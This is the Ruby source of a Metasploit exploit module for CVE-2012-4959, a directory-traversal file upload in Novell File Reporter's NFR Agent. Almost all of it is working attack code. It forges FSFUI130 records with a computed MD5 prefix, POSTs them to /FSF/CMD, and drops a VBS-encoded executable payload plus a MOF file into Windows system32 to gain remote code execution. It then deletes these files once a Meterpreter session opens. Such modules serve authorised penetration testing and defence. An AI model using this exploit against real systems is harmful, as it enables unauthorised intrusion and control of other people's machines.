## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info = {}) super( update_info( info, 'Name' => 'NFR Agent FSFUI Record File Upload RCE', 'Description' => %q{ NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload arbitrary files via a directory traversal while handling requests to /FSF/CMD with FSFUI records with UICMD 130. This module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1). }, 'License' => MSF_LICENSE, 'Author' => [ 'juan vazquez' ], 'References' => [ [ 'CVE', '2012-4959'], [ 'OSVDB', '87573' ], [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ] ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Platform' => 'win', 'Targets' => [ # Windows before Vista [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2012-11-16', 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file stdapi_sys_config_getenv stdapi_sys_process_execute ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(3037), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) ] ) self.needs_cleanup = true end def on_new_session(client) return if not @var_mof_name return if not @var_vbs_name if client.type != "meterpreter" print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.") print_error("The following files must be removed manually:") print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs") print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)") return # That's it end # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...") windir = client.sys.config.getenv('WINDIR') client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs") print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...") cmd = "#{windir}\\system32\\attrib.exe -r " + "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" client.sys.process.execute(cmd, nil, { 'Hidden' => true }) client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof") rescue ::Exception => e print_error("Exception: #{e.inspect}") end end def exploit # In order to save binary data to the file system the payload is written to a .vbs # file and execute it from there. @var_mof_name = rand_text_alpha(rand(5) + 5) @var_vbs_name = rand_text_alpha(rand(5) + 5) print_status("Encoding payload into VBS...") payload = generate_payload_exe vbs_content = Msf::Util::EXE.to_exe_vbs(payload) print_status("Generating VBS file...") mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs") print_status("Uploading the VBS file") worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content) unless worked fail_with(Failure::NotVulnerable, "Failed to upload the file") end print_status("Uploading the MOF file") upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content) end def upload_file(filename, content) traversal = "..\\" * datastore['DEPTH'] traversal << filename record = "FSFUI130#{traversal}" md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase message = md5 + record res = send_request_cgi( { 'uri' => '/FSF/CMD', 'version' => '1.1', 'method' => 'POST', 'ctype' => "text/xml", 'data' => message } ) if res and res.code == 200 and res.body.include? "10" print_warning("File successfully uploaded: #{filename}") else print_error("Failed to upload the file") return false end true end end